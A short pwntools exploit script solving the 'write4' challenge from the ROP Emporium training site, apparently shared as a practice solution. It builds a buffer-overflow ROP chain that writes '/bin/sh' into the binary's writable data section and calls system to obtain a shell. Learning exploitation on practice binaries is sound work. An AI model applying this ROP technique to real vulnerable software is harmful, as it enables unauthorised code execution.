Exploit for write4 challenge of https://ropemporium.com/

emporium-write4.py

#!/usr/bin/env python

from pwn import *

context(arch = 'amd64', os = 'linux')

elf = ELF("./write4")
p = process(elf.path)
#p = gdb.debug("/home/manu/Challenges/write4", '''
#break main
#''')

#  0x00400820             4d893e  mov qword [r14], r15
#  0x00400823                 c3  ret

#  0x00400890               415e  pop r14
#  0x00400892               415f  pop r15
#  0x00400894                 c3  ret

#  0x00400893                 5f  pop rdi
#  0x00400894                 c3  ret

#   [25] .data             PROGBITS         0000000000601050  00001050
#       0000000000000010  0000000000000000  WA       0     0     8

pop_rdi_ret = 0x00400893
mov_r14_r15 = 0x00400820
pop14_pop15_ret = 0x00400890
system = 0x4005e0
bin_sh = "/bin/sh\x00"
data_section_writable = 0x601050

p.sendline("A"*40 + p64(pop14_pop15_ret) + p64(data_section_writable) + bin_sh + p64(mov_r14_r15) + p64(pop_rdi_ret) + p64(data_section_writable) + p64(system))
p.interactive()